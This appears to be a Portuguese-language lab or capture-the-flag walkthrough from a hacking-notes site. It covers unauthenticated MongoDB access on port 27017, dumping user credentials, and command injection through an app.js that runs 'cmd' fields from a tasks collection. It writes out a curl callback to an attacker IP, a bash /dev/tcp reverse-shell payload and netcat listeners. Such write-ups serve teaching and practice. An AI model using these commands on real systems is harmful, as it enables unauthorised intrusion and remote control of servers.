> For the complete documentation index, see [llms.txt](https://hacking-notes.jord4n.pro/llms.txt). Markdown versions of documentation pages are available by appending `.md` to page URLs; this page is available as [Markdown](https://hacking-notes.jord4n.pro/pt-br/ports-and-services/mongodb-27017.md).

# MongoDB - 27017

Acesso não autenticado ao MongoDB, enumeração de banco de dados, injeção de comando via app.js e execução de reverse shell.

### Enumeração do MongoDB

<figure><img src="https://783634792-files.gitbook.io/~/files/v0/b/gitbook-x-prod.appspot.com/o/spaces%2Fl4EVJpcOrsgjSGsLI7p2%2Fuploads%2Fgit-blob-71e7bd028c7fed59621fba78814ccde10e9e52e3%2Fimage%20(2901).png?alt=media" alt=""><figcaption></figcaption></figure>

Conecte-se ao banco de dados MongoDB na porta 27017:

```bash
mongo
show dbs
use blog
show tables
db.users.find()
```

<figure><img src="https://783634792-files.gitbook.io/~/files/v0/b/gitbook-x-prod.appspot.com/o/spaces%2Fl4EVJpcOrsgjSGsLI7p2%2Fuploads%2Fgit-blob-1da7c69cefc94c24ceb5217c2a8eff1d8f873ab0%2F%7B441FD16F-EA2F-475A-880B-885A5078D262%7D.png?alt=media" alt="" width="563"><figcaption></figcaption></figure>

* usuário: admin
* senha: IppsecSaysPleaseSubscribe

<figure><img src="https://783634792-files.gitbook.io/~/files/v0/b/gitbook-x-prod.appspot.com/o/spaces%2Fl4EVJpcOrsgjSGsLI7p2%2Fuploads%2Fgit-blob-f323aa4653ca82859b91b61ee3f34bda34d7f1d7%2F%7BB0D869E1-98AD-45C8-A37A-0CD27A912A0D%7D.png?alt=media" alt=""><figcaption></figcaption></figure>

### RCE no MongoDB

O `app.js` o script executa comandos do sistema a partir de documentos do MongoDB por meio de `doc.cmd`. Esta é uma vulnerabilidade crítica porque comandos arbitrários podem ser injetados e executados.

<figure><img src="https://783634792-files.gitbook.io/~/files/v0/b/gitbook-x-prod.appspot.com/o/spaces%2Fl4EVJpcOrsgjSGsLI7p2%2Fuploads%2Fgit-blob-5bd17dba05d12847570ce940223a0322b85a2708%2Fimage%20(843).png?alt=media" alt=""><figcaption></figcaption></figure>

Confirme a execução de comandos por meio do MongoDB.

**Crie um servidor web local**

Na máquina atacante, inicie um servidor web para observar as solicitações:

```bash
python3 -m http.server 80
```

**Insira um comando de teste na `tarefas` coleção**

No MongoDB, insira um comando que faça uma solicitação HTTP para a máquina atacante:

```bash
db.tasks.insert({  cmd: "curl http://10.10.14.30"})
```

**Observe as solicitações**

Se você vir uma solicitação nos logs do servidor web, isso confirma que os comandos estão sendo executados.

<figure><img src="https://783634792-files.gitbook.io/~/files/v0/b/gitbook-x-prod.appspot.com/o/spaces%2Fl4EVJpcOrsgjSGsLI7p2%2Fuploads%2Fgit-blob-30c6693db64e9323f5c5bd55cce4d54bb485d0ea%2Fimage%20(844).png?alt=media" alt=""><figcaption></figcaption></figure>

Configure uma shell reversa e escute na porta 443:

```bash
nc -nlvp 443
```

#### Inicie uma shell reversa

**Configure um listener na porta 443** Na máquina atacante:

```bash
nc -nlvp 443
```

**Insira um comando de shell reversa**

No MongoDB, insira um comando para estabelecer uma shell reversa:

```bash
db.tasks.insert({  cmd: "bash -c 'bash -i >&/dev/tcp/10.10.14.30/443 0>&1'"})
```

**Conexão bem-sucedida** Uma vez que o comando seja executado, você obtém uma shell interativa na máquina-alvo sob o usuário **tom**.

<figure><img src="https://783634792-files.gitbook.io/~/files/v0/b/gitbook-x-prod.appspot.com/o/spaces%2Fl4EVJpcOrsgjSGsLI7p2%2Fuploads%2Fgit-blob-05c62263fef0e9fc6ca8f2d279c12b45044db653%2Fimage%20(845).png?alt=media" alt=""><figcaption></figcaption></figure>


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